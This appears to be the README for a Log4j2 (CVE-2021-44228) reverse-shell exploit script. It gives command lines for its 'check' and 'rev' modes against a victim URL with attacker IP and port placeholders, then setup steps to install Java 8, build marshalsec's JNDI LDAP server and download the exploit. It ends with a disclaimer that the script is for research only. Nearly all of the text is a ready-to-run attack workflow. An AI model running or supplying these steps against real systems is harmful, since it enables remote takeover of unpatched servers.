For reverse shell:
$~ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort] -hp [HTTPServerPort]

For check exploitable:
$~ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort]

$~  python3 Log4j2-revshell.py -h
    usage: Log4j2-revshell.py [-h] -M MODE -u TARGET -l LHOST -p LPORT [-hp HTTPPORT]

    Log4j2 Reverse Shell

    optional arguments:
      -h, --help            show this help message and exit
      -M MODE, --mode MODE  Mode: check or rev
      -u TARGET, --target TARGET
                            Target full URL, http://www.victimLog4j.xyz:8080
      -l LHOST, --lhost LHOST
                            Attacker IP for receive revshell
      -p LPORT, --lport LPORT
                            Attacker port for receive revshell
      -hp HTTPPORT, --httpport HTTPPORT
                            HTTP server port on attacker host

1. Marshalsec jndi.LDAPRefServer # see here, https://github.com/mbechler/marshalsec
2. Java 8 # you can get Java 8 here https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html, 
   suggested to install jdk-8u181-linux-x64.tar.gz [Java 1.8.0_181]
3. This script, Log4j2-revshell.py

$ Open browser and Download Java 8 from https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 
  In Java SE Development Kit 8u181 section, select jdk-8u181-linux-x64.tar.gz or appropriate package based on your OS.
    
$ sudo mkdir /usr/lib/jvm #Make this dir if you do not have yet
$ cd /usr/lib/jvm
$ sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz #Extract downloaded jdk-8u181-linux-x64.tar.gz into /usr/lib/jvm
$ sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
$ sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
$ sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1

$ sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
$ sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
$ sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
$ java -version #verify if you are running Java 1.8.0_181

$ git clone https://github.com/mbechler/marshalsec /tmp/Log4j2-dir; cd /tmp/Log4j2-dir #Install marshalsec jndi.LDAPRefServer
$ sudo apt install -y maven #Build marshalsec with the Java builder maven. If you do not have maven, please install first
$ mvn clean package -DskipTests #Build marshalsec tool with maven 
$ cd /tmp/Log4j2-dir; wget -q https://raw.githubusercontent.com/faisalfs10x/Log4j2-CVE-2021-44228-revshell/main/Log4j2-revshell.py

$ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort] -hp [HTTPServerPort]

target host: http://192.168.5.122:8080
attacker host: 192.168.5.120

- Ubuntu 18.04

The script is for security analysis and research only, hence I would not be liable if it is been used for illicit activities